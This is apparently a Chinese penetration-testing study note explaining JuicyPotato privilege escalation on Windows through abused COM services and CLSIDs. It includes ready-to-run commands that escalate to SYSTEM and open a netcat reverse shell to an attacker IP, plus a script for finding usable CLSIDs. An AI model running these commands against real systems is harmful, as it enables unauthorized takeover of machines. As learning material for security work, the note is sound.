需要了解的几个知识点
- BITS服务是什么
BITS是一个与网络传输相关的系统服务。可用于上传下载文件到HTTP或SMB服务器,Windows更新也用到了BITS,BITS可以实现网络重连或系统重启后,续传文件。
BITS是与.NET/C/C++开发相关的COM接口。BITS是一种COM服务。
BITS会监听本地6666端口。
- RottenPotatoNG是什么
基于BITS服务进行提权工具。
当具备SeImpersonate和SeAssignPrimaryToken权限时,禁用BITS服务,并占用6666端口,实现权限提升。
- CLSID,即ClassID,是全局唯一标识,用于标识COM服务。JuicyPotato利用的就是COM服务进行提权。
- 可用于提权的COM服务有:Wuauserv(Windows update)、Wsearch(Windows search)、XblGameSave(Xbox live save game)、BITS
漏洞利用的点是什么
基于RottenPotatoNG的提权原理,利用其他类似COM服务,实现提权。
个人理解:类似中间人攻击,冒名顶替COM服务,以高权限执行脚本或程序,实现提权。
juicypotato提权过程
juicypotato关键内容如下:
CLSID:靶机上可利用的CLSID,不同操作系统CLSID可能会不同。对应“-c”参数。
COM监听端口:自定义可用端口,和回连shell的端口无关,不一定要设置成一样的。对应“-l”参数。
用户权限:CreateProcessWithToken(需要SeImpersonate)和CreateProcessAsUser(需要SeAssignPrimaryToken),不同的用户权限可调用的程序会有所不同,同时具备就能获取system权限。对应“-t”参数。
期望运行的程序或脚本:指定需要靶机执行动作对应的程序或脚本,如cmd或回连的powershell脚本。对应“-p”参数。
程序或脚本对应的参数:指定所需参数,如ps脚本需要传入的IP或端口,如不需要则无需该项参数。对应“-a”参数。
提权成功关键点:
-
有可利用的COM服务,找到对应的CLSID。
-
具备SeImpersonate和SeAssignPrimaryToken权限。
-
能够将文件上传到靶机。
示例:
# 利用juicypotato打开cmd,执行nc回连。
.\juicypotato.exe -l 6767 -p "c:\windows\system32\cmd.exe" -a "/c C:\nc.exe -e cmd.exe 192.168.1.7 6767" -t * -c "{854A20FB-2D44-457D-992F-EF13785D2B51}"
# 将回连写入bat文件,利用juicypotato执行bat文件。
# 不指定CLSID时,默认使用{4991d34b-80a1-4291-83b6-3328366b9097}
.\juicypotato.exe -l 8928 -p "priv.bat" -t *
# priv.bat文件内容
c:\nc.exe -e c:\Windows\System32\cmd.exe 192.168.1.7 6767
当默认CLSID不可用时,需要手动测试出可用的CLSID。
方式一:作者已经针对不同的操作系统整理了CLSID,可以参考。
方式二:上传GetCLSID.ps1和test_CLSID.bat到靶机,测试可用的CLSID。
powershell -executionpolicy bypass -file GetCLSID.ps1
# 执行脚本,收集所有的CLSID。
# 脚本输出放在由脚本生成的系统版本为名称的文件夹里。
.\test_CLSID.bat # 执行脚本,检测可用的CLSID。
# 脚本需要调整内容:1)CLSID.list文件位置。2)juicypotato.exe文件位置。
参考连接
Impersonating Privileges with Juicy Potato | by Nairuz Abulhul | R3d Buck3T | Medium
Windows CLSID | juicy-potato (ohpe.it)
Juicy Potato (abusing the golden privileges) | juicy-potato (ohpe.it)
Windows Privilege Escalation: Abusing SeImpersonatePrivilege with Juicy Potato | Infinite Logins